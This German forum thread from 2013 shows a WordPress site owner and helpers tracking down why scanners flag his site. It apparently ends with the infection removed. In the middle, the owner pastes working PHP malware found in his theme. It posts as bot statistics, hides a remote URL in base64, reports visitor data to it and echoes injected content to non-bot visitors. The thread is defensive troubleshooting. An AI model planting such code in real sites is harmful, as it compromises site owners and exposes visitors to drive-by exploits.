Trojaner-Board - Offen Webseite wird von diversen Virenscannern als schädlich erkannt

Seite 2 von 2

100 Beiträge dieses Themas auf einer Seite anzeigen

Trojaner-Board (https://www.trojaner-board.de/)

- Diskussionsforum (https://www.trojaner-board.de/diskussionsforum/)

- -

Webseite wird von diversen Virenscannern als schädlich erkannt (https://www.trojaner-board.de/141384-webseite-diversen-virenscannern-schaedlich-erkannt.html)

jrahe

13.09.2013 08:32

Zitat:

...und drei Sicherheitslücken wurden behoben, die beispielsweise Link Injection, das Ausführen fremden Codes oder das Verfassen von Beiträgen unter falschem Namen ermöglichten.

Link Heise Original-Artikel
s.a. Artikel hier auf Trojaner-Board: Wordpress-Update schließt Sicherheitslücken

DAS könnte vielleicht dein Problem verursacht haben...!? ;)

pexmar

13.09.2013 10:58

Liste der Anhänge anzeigen (Anzahl: 1)

Zitat:

Zitat von jrahe (Beitrag 1154099)

Hallo Peter,
...hast du das aktuelle Update 3.6.1 von WordPress installiert?

Mit dem Update wurden mehrere Sicherheitslücken geschlossen.
Unter anderem das sogenannte "Link injection" (= Einschleusen von Links)
Link Heise Original-Artikel
s.a. Artikel hier auf Trojaner-Board: Wordpress-Update schließt Sicherheitslücken

DAS könnte vielleicht dein Problem verursacht haben...!? ;)

Hallo jrahe,

ja, das Update habe ich direkt nach erscheinen durchgeführt. Ich habe grad von einem Besucher noch eine E-Mail mit weiteren Informationen zum Virus erhalten, ich habe dazu das Bild von F-Secure hochgeladen das er mir schickte. Da wird "Exploit: Java/CVE-2013-2460.A" erwähnt. Diese Sicherheitslücke war im aktuellen Wordpress Update nicht enthalten.

jrahe

13.09.2013 11:12

...vielleicht kannst du bei WordPress diesen Fall schildern und nähere Infos bzw. Unterstützung für dein weiteres Vorgehen erhalten.

Wenn es sich hier um eine Sicherheitslücke in WordPress handelt, die bei diesem Update noch nicht berücksichtigt wurde, so besteht ja die Chance, daß sie noch ein weiteres Update herausbringen.

EDIT:
Der Fehler resp. die Infizierung muss ja nicht in deinen Dateien liegen, sondern kann durchaus auch im "System" WordPress oder auf deren Servern liegen.

pexmar

13.09.2013 11:39

Zitat:

Zitat von jrahe (Beitrag 1154243)

Ok, vielen Dank für die bisherige Hilfe! Auch an die anderen Antworter. Ich denke ich bin dem Problem dadurch schon erheblich näher gekommen.

Zitat:

Zitat von jrahe (Beitrag 1154243)

EDIT:
Der Fehler resp. die Infizierung muss ja nicht in deinen Dateien liegen, sondern kann durchaus auch im "System" WordPress oder auf deren Servern liegen.

Die Wordpress Installation liegt vollständig auf meinem Webspace. Andere Webseiten die auf diesem Webspace Account liegen sind laut bitdefender & f-secure nicht vom Virus betroffen ;-)

jrahe

13.09.2013 12:05

Zitat:

Zitat von pexmar (Beitrag 1154255)

...Die Wordpress Installation liegt vollständig auf meinem Webspace. Andere Webseiten die auf diesem Webspace Account liegen sind laut bitdefender & f-secure nicht vom Virus betroffen...

Das spricht dafür, dass die Ursache in deinen Dateien oder denen der WordPress-Installation liegt.

Vermutung 1:
Ich vermute WordPress als Ursache, da diese ja gerade mit dem letzten Update mehrere Sicherheitslücken gefixt haben, u.a. die der "Link injektion".

Vermutung 2:
Des weiteren vermute ich keinen direkten "Exploit: Java.." in dieser WordPress Installation, sondern eher das ungewollte Ausführen fremder Links ("http://kindergardenburn.biz" im Post #2 und "swtcommfickner.biz" im Post #11), die dazu dienen, von den so aufgerufenen Servern das Java-Exploit herunterzuladen.
Somit sind bei Argus im Post #2 und bei Darklord666 im Post #11 durch z.B. NoScript diese Aufrufe zum Ausführen/Installieren der dort gespeicherten Anwendung (= Java-Exploit) verhindert worden.

Bei dem Besucher, dessen Screenshot du im Post #17 hast, ist wahrscheinlich kein NoScript als Addon installiert, so daß dieser Aufruf ausgeführt wurde. Bei ihm wurde dann der Download des Java-Exploit vom Virenscanner (F-Secure) abgeblockt.

Das könnte auch der Grund dafür sein, daß deine website als solche von F-Secure auf Nachfrage nachträglich als "nicht gefährlich" eingestuft worden ist (Post #10), da der Java-Exploit selbst nicht bei dir auf der website/Server liegt, sondern nur aufrufende Links generiert werden.

pexmar

13.09.2013 12:18

Ok. Da ich die Seite ja recht häufig aufrufe und lange Zeit nur mit Windows Standard Sicherheitstools und Avira (free), könnte ja eine Wahrscheinlichkeit bestehen, dass der Virus/die Malware sich bei mir auch runtergeladen hat. Ich habe mit dem Bitdefender einen Virencheck durchgeführt, er hat nichts bedrohliches gefunden. Besteht ein realistisches Restrisiko, dass Bitdefender sowas übersehen hat?

jrahe

13.09.2013 12:34

...ja, ein Restrisiko besteht IMMER nach jeder Reinigung, aber auch bei jedem Vollscan, daß etwas übersehen wurde.

Der von dem Besucher erwähnte "Exploit: Java/CVE-2013-2460" ist im Juni gepatched worden und greift ältere Java7-Versionen an.
Gepatched bedeutet, daß neuere Java7-Installationen/Updates ab Juli 2013 gegen diesen Exploit geschützt sein sollten.
Wie lange diese Infektion bei deiner website schon besteht, wie lange dieser Java-Exploit schon geladen wurde und ob du zu diesen Zeitpunkten ein nicht aktuelles Java7 installiert hattest, kann ich nicht sagen...

Wenn du sicher gehen möchtest, kannst du deinen Rechner hier im Forum "Plagegeister aller Art..." einmal untersuchen lassen.
(s.a.: Hinweise zur Eröffnung eines Themas)

Hierbei handelt es sich dann aber um ein "neues" Problem (= des deines "privaten" Rechners)

WICHTIG wäre natürlich nach wie vor die Ursache für die ungewollten Links/Scripte auf deiner website zu finden.

pexmar

13.09.2013 14:48

Ok, danke für den Tipp!
Ich bin bei meiner weiteren Suche auf folgenden Codepart in meinem Theme gestoßen:

Code:

<?php

if (!isset($sRetry))

{

global $sRetry;

$sRetry = 1;

    // This code use for global bot statistic

    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot

    $stCurlHandle = NULL;

    $stCurlLink = "";

    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes

    {

        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics

        $stCurlLink = base64_decode( 'aHR0cDovL2JvdHVwZGF0ZXN0YXRpc3RpYy5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);

            @$stCurlHandle = curl_init( $stCurlLink );

    }

    }

if ( $stCurlHandle !== NULL )

{

    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);

    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);

    $sResult = @curl_exec($stCurlHandle);

    if ($sResult[0]=="O")

     {$sResult[0]=" ";

      echo $sResult; // Statistic code end

      }

    curl_close($stCurlHandle);

}

}

?>

Ich gehe stark davon aus, dass das der Schädling ist/war. Jetzt bleibt nur noch rauszufinden was die Backdoor war. Da hoffe ich, dass mir die Wordpress-Community mit ihrer Erfahrung weiterhelfen kann.

jrahe

13.09.2013 14:53

Viel Erfolg! :)

Bei weiteren Erkenntnissen kannst du diese hier gerne posten, so dass andere Betroffene hoffentlich auch eine "Lösung" finden können.

EDIT:
Wo kam dein Theme denn her?
Komplett selbst gestaltet oder als Vorlage heruntergeladen resp. in WordPress enthalten?
War der Code eventuell schon enthalten oder ist er später infiltriert worden?

Viel Erfolg bei der Recherche... ;)

pexmar

17.09.2013 09:03

Zitat:

Zitat von jrahe (Beitrag 1154412)

Sorry, hab deinen Nachtrag nicht gesehen gehabt.
Mein Theme ist selbst gestaltet auf Grundlage des twentyten-Themes (wenn ich mich recht entsinne) von Wordpress.
Das heißt das HTML-Grundgerüst wurde größtenteils beibehalten und das Stylesheet wurde neu geschrieben.

Allen, die ähnliche Probleme haben, empfehle ich das Plugin "Exploit Scanner" für Wordpress. Dort muss man insbesondere auch nach der Funktion base64_decode ausschau halten. Sie wird in Wordpress nur selten im Originalzustand verwendet. Diese Funktion wird häufig verwendet um URLs im Code verschlüsselt darzustellen.

jrahe

17.09.2013 09:08

...könnte das "twentyten-Theme" von WordPress schon infiziert gewesen sein?

pexmar

17.09.2013 09:11

Zitat:

Zitat von jrahe (Beitrag 1156907)

...könnte das "twentyten-Theme" von WordPress schon infiziert gewesen sein?

Dazu ist die Homepage zu lange problemlos gelaufen und ohne von Antiviren Software blockiert zu werden. Deshalb denke ich eher nicht.

pexmar

18.09.2013 13:27

So, die gute Nachricht ist heute eingetroffen: Das Virenlabor von Bitdefender bestätigte mir soeben schriftlich, dass die Homepage nun frei von Schädlingen ist.
Ich denke man kann also davon ausgehen, dass oben genannter Code der einzige Schädling war.

Ich bedanke mich sehr bei allen die mit Tipps und Hinweisen geholfen haben den Schädling zu entarnen und entfernen ;-)

Alle Zeitangaben in WEZ +1. Es ist jetzt 01:51 Uhr.

Seite 2 von 2

100 Beiträge dieses Themas auf einer Seite anzeigen

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131